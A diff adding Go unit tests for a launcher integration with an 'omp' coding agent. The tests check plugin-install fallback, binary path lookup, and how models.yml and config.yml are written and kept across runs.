+	t.Run("web search install failure warns and continues", func(t *testing.T) {
+		logPath, o := setup(t, "No plugins installed\n", false)
+		t.Setenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL", "1")
+
+		stderr := captureStderr(t, func() {
+			if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
+				t.Fatalf("Run() should continue after plugin install failure, got %v", err)
+			}
+		})
+		if !strings.Contains(stderr, "Warning: could not install "+ompWebSearchPlugin) {
+			t.Fatalf("expected install warning, got:\n%s", stderr)
+		}
+
+		calls, err := os.ReadFile(logPath)
+		if err != nil {
+			t.Fatal(err)
+		}
+		if !strings.Contains(string(calls), "--model ollama/gemma4 chat\n") {
+			t.Fatalf("expected final omp launch call, got:\n%s", calls)
+		}
+	})
+
+	t.Run("cloud disabled skips web search plugin management", func(t *testing.T) {
+		logPath, o := setup(t, "No plugins installed\n", true)
+
+		stderr := captureStderr(t, func() {
+			if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
+				t.Fatalf("Run() error = %v", err)
+			}
+		})
+		if !strings.Contains(stderr, "Cloud is disabled; skipping "+ompWebSearchPlugin+" setup.") {
+			t.Fatalf("expected cloud-disabled skip message, got:\n%s", stderr)
+		}
+
+		calls, err := os.ReadFile(logPath)
+		if err != nil {
+			t.Fatal(err)
+		}
+		got := string(calls)
+		if strings.Contains(got, "plugin list\n") || strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
+			t.Fatalf("did not expect plugin management calls, got:\n%s", got)
+		}
+		if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
+			t.Fatalf("expected final omp launch call, got:\n%s", got)
+		}
+	})
+}
+
+func TestOMPFindPath(t *testing.T) {
+	o := &OMP{}
+
+	t.Run("finds omp in PATH", func(t *testing.T) {
+		tmpDir := t.TempDir()
+		name := "omp"
+		if runtime.GOOS == "windows" {
+			name = "omp.exe"
+		}
+		fakeBin := filepath.Join(tmpDir, name)
+		os.WriteFile(fakeBin, []byte("#!/bin/sh\n"), 0o755)
+		t.Setenv("PATH", tmpDir)
+
+		got, err := o.findPath()
+		if err != nil {
+			t.Fatalf("unexpected error: %v", err)
+		}
+		if got != fakeBin {
+			t.Errorf("findPath() = %q, want %q", got, fakeBin)
+		}
+	})
+
+	t.Run("falls back to ~/.local/bin/omp", func(t *testing.T) {
+		home := t.TempDir()
+		setOMPTestHome(t, home)
+		t.Setenv("PATH", t.TempDir())
+
+		fallback := filepath.Join(home, ".local", "bin", ompExecutableNames()[0])
+		os.MkdirAll(filepath.Dir(fallback), 0o755)
+		os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
+
+		got, err := o.findPath()
+		if err != nil {
+			t.Fatalf("unexpected error: %v", err)
+		}
+		if got != fallback {
+			t.Errorf("findPath() = %q, want %q", got, fallback)
+		}
+	})
+
+	t.Run("falls back to ~/.bun/bin/omp", func(t *testing.T) {
+		home := t.TempDir()
+		setOMPTestHome(t, home)
+		t.Setenv("PATH", t.TempDir())
+
+		fallback := filepath.Join(home, ".bun", "bin", ompExecutableNames()[0])
+		os.MkdirAll(filepath.Dir(fallback), 0o755)
+		os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
+
+		got, err := o.findPath()
+		if err != nil {
+			t.Fatalf("unexpected error: %v", err)
+		}
+		if got != fallback {
+			t.Errorf("findPath() = %q, want %q", got, fallback)
+		}
+	})
+
+	t.Run("returns error when not found", func(t *testing.T) {
+		home := t.TempDir()
+		setOMPTestHome(t, home)
+		t.Setenv("PATH", t.TempDir())
+
+		if _, err := o.findPath(); err == nil {
+			t.Fatal("expected error, got nil")
+		}
+	})
+}
+
+func TestOMPConfigureWithModelsWritesModelsYML(t *testing.T) {
+	home := t.TempDir()
+	setOMPTestHome(t, home)
+	t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
+
+	o := &OMP{}
+	models := []LaunchModel{
+		{
+			Name:            "glm-5.1:cloud",
+			ContextLength:   202_752,
+			MaxOutputTokens: 131_072,
+		},
+		{
+			Name:         "qwen3.6",
+			Capabilities: []modelpkg.Capability{modelpkg.CapabilityVision},
+		},
+	}
+	if err := o.ConfigureWithModels("glm-5.1:cloud", models); err != nil {
+		t.Fatalf("ConfigureWithModels returned error: %v", err)
+	}
+
+	path := filepath.Join(home, ".omp", "agent", "models.yml")
+	data, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("failed to read models.yml: %v", err)
+	}
+
+	cfg := parseOMPConfigYAML(t, data)
+	provider := ompProviderFromYAML(t, cfg)
+	if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
+		t.Fatalf("baseUrl = %v, want connectable OpenAI-compatible host", provider["baseUrl"])
+	}
+	if provider["api"] != "openai-responses" {
+		t.Fatalf("api = %v, want openai-responses", provider["api"])
+	}
+	if provider["auth"] != "none" {
+		t.Fatalf("auth = %v, want none", provider["auth"])
+	}
+	discovery, _ := provider["discovery"].(map[string]any)
+	if discovery["type"] != "ollama" {
+		t.Fatalf("discovery = %v, want type ollama", discovery)
+	}
+
+	entries := ompModelEntriesFromYAML(t, provider)
+	if len(entries) != 2 {
+		t.Fatalf("models length = %d, want 2", len(entries))
+	}
+	if entries[0]["id"] != "glm-5.1:cloud" {
+		t.Fatalf("first model id = %v, want primary first", entries[0]["id"])
+	}
+	if got := numericYAMLValue(entries[0]["contextWindow"]); got != 202_752 {
+		t.Fatalf("contextWindow = %d, want 202752", got)
+	}
+	if got := numericYAMLValue(entries[0]["maxTokens"]); got != 131_072 {
+		t.Fatalf("maxTokens = %d, want 131072", got)
+	}
+	if input := stringSliceYAMLValue(entries[1]["input"]); !slices.Equal(input, []string{"text", "image"}) {
+		t.Fatalf("vision input = %v, want [text image]", input)
+	}
+	if got := o.CurrentModel(); got != "glm-5.1:cloud" {
+		t.Fatalf("CurrentModel = %q, want glm-5.1:cloud", got)
+	}
+
+	configPath := filepath.Join(home, ".omp", "agent", "config.yml")
+	configData, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatalf("failed to read config.yml: %v", err)
+	}
+	config := parseOMPConfigYAML(t, configData)
+	if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
+		t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
+	}
+	if paths := o.Paths(); !slices.Equal(paths, []string{path, configPath}) {
+		t.Fatalf("Paths = %v, want [%s %s]", paths, path, configPath)
+	}
+}
+
+func TestOMPConfigureWithModelsPreservesExistingConfig(t *testing.T) {
+	home := t.TempDir()
+	setOMPTestHome(t, home)
+
+	modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
+	if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	existing := []byte(`
+providers:
+  anthropic:
+    baseUrl: https://example.com/anthropic
+  ollama:
+    baseUrl: http://old-host:11434
+    api: openai-responses
+    auth: none
+    models:
+      - id: old-model
+        name: Old Model
+        customField: keep-me
+`)
+	if err := os.WriteFile(modelsPath, existing, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	configPath := filepath.Join(home, ".omp", "agent", "config.yml")
+	existingConfig := []byte(`
+lastChangelogVersion: 15.7.6
+setupVersion: 0
+theme: monochrome
+`)
+	if err := os.WriteFile(configPath, existingConfig, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	o := &OMP{}
+	if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}, {Name: "old-model"}}); err != nil {
+		t.Fatalf("ConfigureWithModels returned error: %v", err)
+	}
+
+	data, err := os.ReadFile(modelsPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	cfg := parseOMPConfigYAML(t, data)
+	providers, _ := cfg["providers"].(map[string]any)
+	if _, ok := providers["anthropic"]; !ok {
+		t.Fatalf("expected non-Ollama provider to be preserved: %v", providers)
+	}
+
+	provider := ompProviderFromYAML(t, cfg)
+	if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
+		t.Fatalf("baseUrl = %v, want repaired OpenAI-compatible host", provider["baseUrl"])
+	}
+
+	entries := ompModelEntriesFromYAML(t, provider)
+	if len(entries) != 2 {
+		t.Fatalf("models length = %d, want 2", len(entries))
+	}
+	if entries[0]["id"] != "new-model" {
+		t.Fatalf("first model id = %v, want new-model", entries[0]["id"])
+	}
+	if entries[1]["id"] != "old-model" {
+		t.Fatalf("second model id = %v, want old-model", entries[1]["id"])
+	}
+	if entries[1]["customField"] != "keep-me" {
+		t.Fatalf("custom field was not preserved: %v", entries[1])
+	}
+
+	configData, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	config := parseOMPConfigYAML(t, configData)
+	if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
+		t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
+	}
+	if config["theme"] != "monochrome" {
+		t.Fatalf("theme was not preserved: %v", config)
+	}
+	if config["lastChangelogVersion"] != "15.7.6" {
+		t.Fatalf("lastChangelogVersion was not preserved: %v", config)
+	}
+}
+
+func TestOMPConfigureWithModelsAlwaysMarksSetupComplete(t *testing.T) {
+	home := t.TempDir()
+	setOMPTestHome(t, home)
+
+	configPath := filepath.Join(home, ".omp", "agent", "config.yml")
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(configPath, []byte("setupVersion: 2\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	o := &OMP{}
+	if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
+		t.Fatalf("ConfigureWithModels returned error: %v", err)
+	}
+
+	configData, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	config := parseOMPConfigYAML(t, configData)
+	if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
+		t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
+	}
+}
+
+func TestOMPConfigureWithModelsRespectsPiConfigDir(t *testing.T) {
+	home := t.TempDir()
+	setOMPTestHome(t, home)
+	t.Setenv("PI_CONFIG_DIR", ".custom-omp")
+
+	o := &OMP{}
+	if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
+		t.Fatalf("ConfigureWithModels returned error: %v", err)
+	}
+
+	modelsPath := filepath.Join(home, ".custom-omp", "agent", "models.yml")
+	configPath := filepath.Join(home, ".custom-omp", "agent", "config.yml")
+	for _, path := range []string{modelsPath, configPath} {
+		if _, err := os.Stat(path); err != nil {
+			t.Fatalf("expected %s to be written: %v", path, err)
+		}
+	}
+	if _, err := os.Stat(filepath.Join(home, ".omp", "agent", "models.yml")); !os.IsNotExist(err) {
+		t.Fatalf("expected default OMP models path to be untouched, got err %v", err)
+	}
+	if paths := o.Paths(); !slices.Equal(paths, []string{modelsPath, configPath}) {
+		t.Fatalf("Paths = %v, want [%s %s]", paths, modelsPath, configPath)
+	}
+}
+
+func TestOMPConfigureWithModelsRespectsPiCodingAgentDir(t *testing.T) {
+	home := t.TempDir()
+	setOMPTestHome(t, home)
+	agentDir := filepath.Join(home, "agent-override")
+	t.Setenv("PI_CONFIG_DIR", ".ignored-omp")
+	t.Setenv("PI_CODING_AGENT_DIR", agentDir)
+
+	o := &OMP{}
+	if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
+		t.Fatalf("ConfigureWithModels returned error: %v", err)
+	}
+
+	modelsPath := filepath.Join(agentDir, "models.yml")
+	configPath := filepath.Join(agentDir, "config.yml")
+	for _, path := range []string{modelsPath, configPath} {
+		if _, err := os.Stat(path); err != nil {
+			t.Fatalf("expected %s to be written: %v", path, err)
+		}
+	}
+	if _, err := os.Stat(filepath.Join(home, ".ignored-omp", "agent", "models.yml")); !os.IsNotExist(err) {
+		t.Fatalf("expected PI_CONFIG_DIR path to be ignored when PI_CODING_AGENT_DIR is set, got err %v", err)
+	}
+	if got := o.CurrentModel(); got != "new-model" {
+		t.Fatalf("CurrentModel = %q, want new-model", got)
+	}
+}
+
+func TestOMPCurrentModelRequiresHealthyProvider(t *testing.T) {
+	home := t.TempDir()
+	setOMPTestHome(t, home)
+	t.Setenv("OLLAMA_HOST", "http://127.0.0.1:11434")
+
+	modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
+	if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	tests := []struct {
+		name     string
+		provider string
+	}{
+		{
+			name: "wrong base url",
+			provider: "" +
+				"    baseUrl: http://127.0.0.1:9999/v1\n" +
+				"    api: openai-responses\n" +
+				"    auth: none\n" +
+				"    discovery:\n" +
+				"      type: ollama\n",
+		},
+		{
+			name: "wrong api",
+			provider: "" +
+				"    baseUrl: http://127.0.0.1:11434/v1\n" +
+				"    api: openai-chat\n" +
+				"    auth: none\n" +
+				"    discovery:\n" +
+				"      type: ollama\n",
+		},
+		{
+			name: "wrong auth",
+			provider: "" +
+				"    baseUrl: http://127.0.0.1:11434/v1\n" +
+				"    api: openai-responses\n" +
+				"    auth: api-key\n" +
+				"    discovery:\n" +
+				"      type: ollama\n",
+		},
+		{
+			name: "wrong discovery",
+			provider: "" +
+				"    baseUrl: http://127.0.0.1:11434/v1\n" +
+				"    api: openai-responses\n" +
+				"    auth: none\n" +
+				"    discovery:\n" +
+				"      type: static\n",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			cfg := "providers:\n" +
+				"  ollama:\n" +
+				tt.provider +
+				"    models:\n" +
+				"      - id: gemma4\n"
+			if err := os.WriteFile(modelsPath, []byte(cfg), 0o644); err != nil {
+				t.Fatal(err)
+			}
+			if got := (&OMP{}).CurrentModel(); got != "" {
+				t.Fatalf("expected stale config to return empty current model, got %q", got)
+			}
+		})
+	}
+}
+
+func parseOMPConfigYAML(t *testing.T, data []byte) map[string]any {
+	t.Helper()
+	var cfg map[string]any
+	if err := yaml.Unmarshal(data, &cfg); err != nil {
+		t.Fatalf("generated YAML did not parse: %v\n%s", err, data)
+	}
+	return cfg
+}
+
+func ompProviderFromYAML(t *testing.T, cfg map[string]any) map[string]any {
+	t.Helper()
+	providers, ok := cfg["providers"].(map[string]any)
+	if !ok {
+		t.Fatalf("providers missing from config: %v", cfg)
+	}
+	provider, ok := providers["ollama"].(map[string]any)
+	if !ok {
+		t.Fatalf("ollama provider missing from config: %v", providers)
+	}
+	return provider
+}
+
+func ompModelEntriesFromYAML(t *testing.T, provider map[string]any) []map[string]any {
+	t.Helper()
+	rawModels, ok := provider["models"].([]any)
+	if !ok {
+		t.Fatalf("provider models missing: %v", provider)
+	}
+	models := make([]map[string]any, 0, len(rawModels))
+	for _, raw := range rawModels {
+		entry, ok := raw.(map[string]any)
+		if !ok {
+			t.Fatalf("model entry has unexpected type %T: %v", raw, raw)
+		}
+		models = append(models, entry)
+	}
+	return models
+}
+
+func numericYAMLValue(value any) int {
+	switch v := value.(type) {
+	case int:
+		return v
+	case int64:
+		return int(v)
+	case float64:
+		return int(v)
+	default:
+		return 0
+	}
+}
+
+func stringSliceYAMLValue(value any) []string {
+	raw, _ := value.([]any)
+	out := make([]string, 0, len(raw))
+	for _, item := range raw {
+		if s, ok := item.(string); ok {
+			out = append(out, s)
+		}
+	}
+	return out
+}